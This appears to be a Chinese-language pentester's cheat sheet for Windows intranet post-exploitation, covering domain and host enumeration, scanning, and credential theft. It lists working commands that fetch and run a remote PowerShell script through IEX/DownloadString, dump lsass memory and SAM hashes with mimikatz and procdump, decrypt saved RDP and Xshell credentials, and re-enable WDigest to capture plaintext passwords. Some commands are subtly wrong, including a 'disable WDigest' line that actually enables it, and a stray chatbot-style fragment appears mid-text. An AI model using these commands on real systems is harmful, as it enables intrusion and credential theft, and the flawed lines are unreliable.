内网信息搜集

本机

whoami /all	查看当前用户、权限
net user				查看本地用户
net localgroup	查看本地组
query user			查看当前登录用户

ipconfig /all	查看网络配置信息
rout print	查看路由信息

systeminfo	查看OS信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"	查看OS系统及版本
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"	查看OS系统及版本

netstat -ano	查看端口连接信息
net session		查看当前会话列表
net share			查看当前网络共享信息
net use				查看已连接的网络共享

tasklist			查看进程信息
tasklist /SVC	杀软进程识别,将执行结果放到网上的Windows杀软在线识别网站
wmic 可以查询进程的路径
wmic查看自启动、补丁、应用安装

schtasks /query /v /fo list	查看计划任务

域内

net config workstation	查看是否存在域环境

net user /domain	查看域用户
net group /domain	查看域用户组

net group "Domain Controller" /domain	查看域控制器列表
net time /domain	查看主域控制器;在域中域控作为时间服务器,所有计算机时间同步
ping 域控名 DC-1.hack-my.com		定位域控,得到域控ip地址;也可以通过DNS服务器地址定位域控

net accounts /domain	查看域内密码策略,以此构造字典进行爆破

nltest /domain_trusts		查看域信任关系;用户多域环境中的跨域资源的共享,查看当前主机所在域和其他域的信任关系

1、查看是否有域环境
2、域内用户、用户组
3、定位域控:

  • 域控是时间服务器,使域内所有计算机时间同步:net time /domain可以获得域控主机名
  • 域控是DNS服务器,域内的所有计算机的DNS服务器都是域控ip
  • 直接ping 主机名可以得到ip地址

4、查看域内密码策略:得到密码长度等信息,一次构造密码爆破字典
5、是否有多个域:信任关系

内网资源探测

发现存活主机

在渗透测试过程中,可以根据目标主机的情况,进行选择。

  1. 上传工具执行
  2. 内网代理或路由转发

**发现存活主机可以选用ICMP、NetBIOS、UDP、ARP、SNMP、SMB等多种网络协议**。

1、ICMP协议-网络层

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

使用ICMP协议循环探测整个局域网C段中的存活主机
C段是什么?ip地址组成:A.B.C.D
C段嗅探:拿下与它同一个C段中的主机

2、NetBIOS协议-会话层

nbtscan.exe 192.168.1.1/24

可以将nbtscan.exe上传到目标主机执行,也可以通过代理本地执行。
NetBIOS是什么?NetBIOS是OSI会话层的协议。让不同计算机上运行的不同程序可以在局域网中互相连接和共享数据。简单来说就是一种应用程序接口API。操作系统通过不同模式将NetBIOS名称解析为IP地址。
若向IP地址发送NetBIOS状态查询,可以获得主机名、MAC地址等。
NBTScan是扫描网络上NetBIOS名称的程序。可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,获取IP地址、计算机名、登陆用户、MAC地址。

3、UDP协议-传输层

unicornscan -mU 10.10.10.0/24

将空的UDP报文发送到目标主机,若得到一个ICMP无法到达的回应报文,则说明此端口关闭并且主机存活。
Unicornscan是kali的一款信息搜集工具,有网络扫描的功能。此命令通过UDP协议扫描内网存活主机。

4、ARP协议-网络层

命令:**arp -a**
1)arp-scan

arp-scan.exe -t 10.10.10.0/24

ARP协议做MAC地址和IP地址的映射。
arp-scan是一款工具,用arp发现内网中存活的主机。
2)powershell
Invoke-ARPScan.ps1是**Empire渗透框架**的一个ps脚本,用ARP发现存活主机

Import-Module ./Invoke-ARPscan.ps1	导入模块
Invoke-ARPscan -CIDR 10.10.10.0/24	执行

或者远程导入,要开web服务
powershell.exe -exec bypass -Command "IEX(NEW-Object Net.WebClient).DownloadString('http:x.x.x.x/Invoke-ARPscan.ps1');Invoke-ARPscan -CIDR 10.10.10.0/24"

5、SMB协议-应用层

crackmapexec smb 10.10.10.0/24

CrackMapExec(CME)是十分强大的后渗透工具,能枚举登录用户、枚举SMB服务列表……
SMB协议 又称为 网络文件共享系统CIFS
CIFS消息使用NetBIOS和TCP协议发送,分别使用139、445端口,现在倾向于使用445端口。
NetBIOS和SMB好的,让我们想象你的计算机是一个大办公室,里面有许多员工,每个员工都有自己的文件柜和打印机。

  1. 计算机间通信(NetBIOS):
  • NetBIOS就像办公室的内部电话系统,帮助员工之间相互通话和交流。它让计算机能够互相识别和找到对方,就像员工可以通过内部电话系统找到其他同事一样。
  1. 文件共享和资源访问(SMB):
  • SMB就像员工在办公室中共享文件柜和打印机,允许计算机之间共享文件和打印机资源。当你从一台计算机访问另一台计算机上的共享文件夹时,就好像你的办公室同事借阅了你的文件。

所以,NetBIOS提供了计算机之间的基本通信手段,就像内部电话系统一样。而SMB建立在这种通信基础上,使计算机能够共享文件和打印机,就像在办公室中共享资源一样。

内网端口扫描

找到开发端口,确定开放的服务,服务版本,对应的漏洞。进行下一步攻击。

1、Telnet 探测端口

telnet <IP> <Port>

Telnet是远程登录的
这个命令可以用来简单测试该端口是打开还是关闭

2、nmap

nmap -p 80,88,135,139,445,8080,3306,3389 10.10.10.10					扫描指定端口
nmap -sS -p 1-65535 10.10.10.10																扫描全部端口
nmap -sC -sV -p 80,88,135,139,445,8080,3306,3389 10.10.10.10	扫描并获取端口服务信息

3、利用PowerShell

NiShang渗透测试框架 集成了各种脚本和Payload,广泛用于渗透测试各个阶段。
NiShang的Scan模块中也有一个Invoke-PortScan.ps1脚本,可以端口扫描:

扫默认端口:Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort
扫指定端口:Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort -Port 80,88,135,139,443,8080,3306,3389

对指定范围10.10.10.1-20进行端口扫描。

MetaSploit探测内网

获取端口Banner

“Banner”(中文可以翻译为”横幅”)通常指的是网络服务或应用程序在响应请求时发送的一段文字信息。这个信息包含了服务或应用程序的版本、类型、厂商等关键信息。Banner通常用于标识和识别正在运行的服务,有助于网络管理员、渗透测试人员或攻击者了解系统的配置和漏洞。
简单说就是标识服务类型的。

1、NetCat

nc -nv <IP> <Port>

NetCat可以轻易建立任何连接,“瑞士军刀”。
“-nv”选项可以在连接指定端口时,获取该端口的Banner信息。

2、Telnet

telnet <IP> <Port>

若端口开放,telnet在连接时会返回相应的Banner

3、Nmap

nmap --script=banner -p 21,22,23,80,3389,3306 192.168.3.2

“–script=banner”选项可以获取端口的Banner

用户凭据

获取单机密码和哈希值

关于SAM文件、lsass.exe等,看之前博客:https://killeveee.github.io/2022/07/20/kerberos%E5%8D%8F%E8%AE%AE/
补充WDigest和Tspkg> 用户输入密码登录后,登录的域名、用户名、登录凭据等信息会存储在lsass.exe的进程空间中,用户的明文密码结果WDigest和Tspkg模块调用后,会对其用可逆的加密并存储在内存中。

  • WDigest是Windows用于处理HTTP身份验证的协议。允许使用明文,允许在内存中存储用户的明文密码。
  • Tspkg是Windows中的一个安全支持提供程序SSP,提供对CredSSP的支持。

!!!注意!!!
为了防止用户的明文密码在内存中泄露,微软发布了KB2871997补丁,关闭WDigest功能,禁止从内存获取明文密码。
Windows2012及以上默认关闭WDigest
【抓不到明文,解决方案】
修改注册表,可以重启WDigest,然后等或者强制用户重新登陆后,就可以获取到用户的明文密码。

# 开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# 关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

mimikatz在线读取lsass进程内存

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# privilege::debug,提升至DebugPrivilege权限
# sekurlsa::logonpasswords,导出用户凭据

DebugPrivilege是个啥是一种特殊权限,允许用户或进程拥有 **调试 **其它进程的能力!可以使用调试器来检查、修改其它进程的内存….
使用whoami /priv命令可以查看当前用户的权限。还有其它很多权限。
image.png

mimikatz离线读取lsass进程内存

离线就是把lsass.exe的进程内存转储,下载到本地,用mimikatz离线读取。
1)转储进程内存的工具有很多,如OutMinidump.ps1、Procdump、SharpDump、系统自带comsvcs.dll……
微软官方提供的Procdump:

procdump.exe -accepteula -ma lsass.exe lsass.dmp	# 将lsass.exe的进程转储

2)离线读取

mimikatz.exe "sekurlsa:minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurlsa:minidump lsass.dmp,加载内存文件
# sekurlsa::logonpasswords full,导出凭据

mimikatz在线读取SAM

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug,提升至DebugPrivilege权限
# token::elevate,提升至SYSTEM权限
# lsadump::sam,读取本地SAM文件

读取SAM文件中保存的用户登录凭据,可以导出当期系统中所有本地用户的哈希值。

mimikatz离线读取SAM

将SAM导出。Windows对SAM文件使用密码进行加密,秘钥就存在同目录下的SYSTEM文件。所以需要导出SAM和SYSTEM。
系统在运行时,这两个文件是被锁定的,所以需要借助工具导出。
1)PowerSploit项目的Invoke-NinjaCopy.ps1:

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Temp\SYSTEM

2)在管理员权限下,通过保存注册表导出

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

mimikatz.exe "lsadump::sam /sam::sam.hive /system::system.hive" exit

获取应用软件凭据

RDP

当用户勾选了保存rdp连接凭据,这些凭据都以加密的形式存储在Windows的凭据管理器中。路径:%USERPROFILE%\AppData\Local\Microsoft\Credentials

cmdkey /list	#查看当前保存的凭据
dir %USERPROFILE%\AppData\Local\Microsoft\Credentials	#遍历Credentials下的凭据

Credentials下的凭据是加密的,使用mimikatz导出。

mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\凭据名" exit

将会解析这个票据,得到几个字段:guidMasterKey、pbData

guidMasterKey是该票据的guid;pbData是票据加密后的值

记录guidMasterKey的值,执行:

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

找到对应的guidMasterKey,找到其的MasterKey,这个MasterKey就是加密凭据用的秘钥。
记录MasterKey的值。

mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\<凭据名>/masterket:<MasterKey的值>" /exit
# 修改<>内的内容

Xshell

SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Sessions"